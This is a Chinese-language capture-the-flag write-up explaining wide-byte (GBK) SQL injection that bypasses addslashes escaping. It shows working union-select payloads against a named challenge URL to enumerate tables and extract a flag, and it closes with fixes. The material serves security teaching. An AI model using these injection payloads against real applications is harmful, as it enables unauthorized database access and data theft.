宽字节注入原理
当数据库编码方式为gdk时,一个汉字会占用两个字节,平常字符会占一个字节
例如:你 url编码之后为 => %c4%e3 # url编码之后为 => %23 ' url编码之后为 => %27 \ url编码之后为 => %5c
addslashes函数防止sql注入,将传入参数值进行转义。将' 转义为\',单引号失去作用,导致无法进行sql注入
这时可以利用汉字编码为2个,\ 的编码为%5c为1个将 \ 弄无效
实现
这里用南邮的一道题目来实现一下:
题目链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
url后面添加单引号,单引号前面有 \ 说明可能使用了addslashes函数
在单引号前随便添加一个,这里添加%aa,然后报错,说明可以注入
order by判断列数,可知一共2列,下面正常注入
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27 order by 2#
2是回显位,然后查看数据库,得到库名sae-chinalover
获取全部表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询表名找到flag字段(这里要将表名进行16进制编码)
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634#
flag不唯一,这里随便找了一个
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,flag from ctf4#
修复方案
1.使用utf-8
2.mysql_real_escape_string,mysql_set_charset('gbk',$conn)
3.设置参数,character_set_client=binary